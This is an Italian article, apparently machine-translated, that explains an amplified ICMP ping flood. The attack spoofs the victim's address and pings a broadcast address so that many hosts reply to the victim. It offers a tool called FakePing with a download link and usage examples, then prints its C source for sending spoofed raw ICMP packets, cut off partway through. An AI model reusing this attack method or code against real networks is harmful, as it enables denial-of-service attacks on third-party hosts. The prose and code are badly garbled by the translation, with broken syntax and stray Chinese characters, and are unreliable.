Recentemente, molte persone vi invito di nuovo ad andare con quello che Ping morto ciò che del sito, ma tecnicamente, non importa ciò che la attacchi denial of service, abbiamo bisogno di soddisfare una condizione: con il minimo di risorse in cambio di essere il più grande consumo del malintenzionato. Come tutti a Ping non è solo strano: con la più grande risorsa per l'altro il minimo danno; è ridicolo: la guerra delle persone 50 anni fa, probabilmente appartengono ad agire su nell'era di Internet non è, quante persone saranno in grado di.
Oggi, noi siamo per il ping, il Ping è l'invio di messaggio ICMP (tipo 8 codice 0), per esplorare l'esistenza di un host di rete di uno strumento, molto tempo fa, parte del sistema operativo (eg win95), non sono ben trattate Ping large pacchetti , con un conseguente Ping per Morte di attacchi (Ping borsa con una grande rovina a vicenda o farcite di rete), con gli aggiornamenti del sistema operativo, upgrade di banda di rete, upgrade hardware del computer, al momento, praticamente nessun pacchetto ping di grandi dimensioni sono effetto attacco di grandi dimensioni (ad eccezione di attacco distribuito), se si deve utilizzare i pacchetti di Ping per attaccare altri host, a meno che l'uso del protocollo TCP / IP o altre caratteristiche della topologia di rete della maggior parte amplificato l'intensità degli attacchi (il cosiddetto feedback positivo)
In circostanze normali, il processo Ping è come questo:
Host A invia i pacchetti all'host B ICMP 8,0
L'host B invia messaggi ICMP all'host 0,0 A
Perché non era ICMP link, in modo da darci l'opportunità, assumendo l'host è ora passare per l'host A invia i pacchetti ICMP 8,0 C, i risultati che cosa accadrebbe? Chiaramente, l'host host B C will send tale relazione non è carta di distanza
Risposta ad ospitare C, la seguente struttura:
C errore di passare per la risposta dell'ospite
Host A Host --------------------- B ------------------ Host C
Questo caso, come la necessità di host A solo per continuare a inviare pacchetti di ping without la necessità to deal con ritorno di EchoReply, quindi gli sforzi si sono moltiplicati gli attacchi, mentre in realtà la B host e host C sono a be targets di attacco, e non stay sotto il proprio marchio, è un attacco nascosto due piccioni con una strategia di pietra.
Metodi SOCK_RAW sopra IP può facilmente camuffare, ma anche ampliato due volte, per il sistema operativo più robusto e maggiore è la larghezza di banda, e non hanno molto effetto, abbiamo ancora organizzato sport? Non è giusto, lasciare che il nemico a noi per ingrandire Bene, TCP / IP in un concetto chiamato la trasmissione, la trasmissione cosiddetto significa che c'è un indirizzo, ogni host all'interno della LAN sarà inviata a questo indirizzo per ricevere il messaggio (lo stesso di trasmissioni radiofoniche) se? fare? Sì! Se andiamo in un indirizzo di broadcast per inviare pacchetti ICMP ECHO (Ping che è l'indirizzo di broadcast esso), il risultato sarà un sacco di risposta, Ethernet, consentendo a ciascuno di ricevere un messaggio broadcast ospiterà risposta uno ICMP_ECHOREPLY, se si vuole testare, provare a unix macchine ping su indirizzo broadcast LAN, potrete vedere un sacco di risposta della borsa DUP, cioè, di ripetere la risposta, di sistema di Windows, non il tipo di risultati, perché Microsoft Ping programma non risponde a più imballata, il primo pacchetto ricevuto dopo la caduta dietro, e anche Microsoft sistema non risponde di trasmettere l'indirizzo del pacchetto di default, quindi è meglio in un sacco di test unix LAN host.
Qui, smart Sai cosa voglio fare adesso? Hey hey, sì, quando si pretende di essere un indirizzo di broadcast per attaccare l'host invia Ping orario della richiesta, tutto l'indirizzo di broadcast l'host risponde alla richiesta Ping Ciò equivale a l'intensità degli attacchi è N volte! (N = indirizzo di broadcast di rispondere a ping i pacchetti all'interno del numero di host)
Mascheramento come il C host sono sbagliate tutti la risposta ospite radio
Host un indirizzo broadcast --------------------- ======================= Host == C
Ho scritto un tool FakePing, è possibile Http: / / www.patching.net / fucile / download FakePing.exe.
L'uso è FakePing.exe FakeIP TargetIP [packetsize], se TargetIP è l'indirizzo di broadcast, quindi FakeIP stato preso di mira.
Fonte annunciato come segue:
typedef struct _iphdr / / definizione di header IP
(
unsigned char h_verlen; / / 4 gradi 位 primo ministro, IP versione 4
unsigned char tos; / / 8 servizi di tipo TOS
unsigned short total_len; / / 16 lunghezza mediana totale (byte)
unsigned short ident / / identificazione a 16 bit
unsigned frag_and_flags breve; / / 3 bit di flag
unsigned char TTL; / / 8 tempo di sopravvivenza mediano di TTL
unsigned char proto / / protocollo di 8-bit (TCP, UDP o altro)
unsigned short checksum; / / 16 位 IP header checksum
SourceIP unsigned int; / / 32 sorgente digitale indirizzo IP
destIP unsigned int; / / 32 位 scopo di indirizzo IP
) IP_HEADER;
/ / Definisce header ICMP
typedef struct _ihdr
(
BYTE i_type; / / 8 bit di tipo
BYTE i_code / / codice a 8 bit
Ushort i_cksum; / / 16 bit di checksum
Ushort i_id / / numero di identificazione (in genere con il numero di processo come il numero ID)
Ushort i_seq; / / Messaggio numero di sequenza
ULONG timestamp; / / ora
) ICMP_HEADER;
/ / Checksum: Funzioni di calcolo del checksum
checksum ushort (buffer * ushort, int size)
(
unsigned cksum lungo = 0;
while (dimensione 1)
(
+ + + Cksum =* buffer;
-= dimensione sizeof (ushort);
)
if (dimensione)
(
+ Cksum = * (* UCHAR) buffer;
)
cksum = (cksum 16) + (cksum & 0xffff);
+ Cksum = (cksum 16);
return (ushort) (cksum ~);
)
/ / FakePing funzione principale
int main (int argc, char ** argv)
(
int datasize, ErrorCode, contatore, bandiera;
TimeOut int = 2000, SendSEQ = 0, packetsize = 32;
char SendBuf [65.535] = (0);
WSADATA wsaData;
SockRaw socket = (presa) NULL;
struct sockaddr_in DestAddr;
ip_header IP_HEADER;
icmp_header ICMP_HEADER;
FakeSourceIp char [20], DestIp [20];
/ / Accetta i parametri della riga di comando
if (argc 3)
(
printf ("FakePing da fucile da caccia
");
printf ("Questo programma può fare Ping-allagamento da un FakeIP
");
printf ("Uso di un IP broadcast come il FakeIP aumenterà l'effetto
");
printf ("E-mail:
");
printf ("Shotgun@Xici.Net
");
printf ("HomePage:
");
printf ("http://It.Xici.Net
");
printf ("http://www.Patching.Net
");
printf ("Uso:
FakePing.exe [DestinationIp FakeSourceIp packetsize]
");
printf ("Esempio:
");
printf ("FakePing.exe 192.168.15.23 192.168.15.255
");
printf ("FakePing.exe 192.168.15.23 192.168.15.200 6.400
");
exit (0);
)
strcpy (FakeSourceIp, argv [1]);
strcpy (DestIp, argv [2]);
if (argc 3) packetsize = atoi (argv [3]);
if (packetsize 60000)
(
printf ("Errore! dimensione del pacchetto troppo grande, deve 60K
");
exit (0);
)
printf ("% s Ping Ora Fake% s utilizzando dimensione dei pacchetti =% d byte
"
FakeSourceIp, DestIp, packetsize);
printf ("Ctrl + C per uscire
");
/ / Inizializza SOCK_RAW
if ((ErrorCode = WSAStartup (MAKEWORD (2,1), e wsaData))! = 0)
(
fprintf (stderr, "WSAStartup non riuscito:% d
"ErrorCode);
ExitProcess (STATUS_FAILED);
)
if ((SockRaw WSASocket = (AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0, WSA_FLAG_OVERLAPPED)) == INVALID_SOCKET)
(
fprintf (stderr, "WSASocket () non riuscito:% d
"WSAGetLastError ());
ExitProcess (STATUS_FAILED);
)
bandiera = TRUE;
/ / Imposta IP_HDRINCL riempire i loro intestazione IP
ErrorCode = setsockopt (SockRaw, IPPROTO_IP, IP_HDRINCL, (char *) e di bandiera, sizeof (int));
if (ErrorCode == SOCKET_ERROR)
printf ("Set IP_HDRINCL Errore!
");
__try
(
/ / Imposta inviare timeout
ErrorCode = setsockopt (SockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) & TimeOut, sizeof (timeout));
if (ErrorCode == SOCKET_ERROR)
(
fprintf (stderr, "Impossibile impostare inviare TimeOut:% d
"WSAGetLastError ());
__leave;
)
memset (& DestAddr, 0, sizeof (DestAddr));
DestAddr.sin_family = AF_INET;
DestAddr.sin_addr.s_addr = inet_addr (DestIp);
/ / Fill primo IP
ip_header.h_verlen = (4 4 | sizeof (ip_header) / sizeof (unsigned long)); / / alto numero di versione 4 IP, il primo ministro del basso grado di quattro
ip_header.total_len htons = (sizeof (IP_HEADER) + sizeof (ICMP_HEADER)); / / 16 lunghezza mediana totale (byte)
ip_header.ident = 1;
/ / 16 ID
ip_header.frag_and_flags = 0;
/ / 3 flag
ip_header.ttl = 128;
/ / 8 bit TTL tempo di sopravvivenza
ip_header.proto = IPPROTO_ICMP;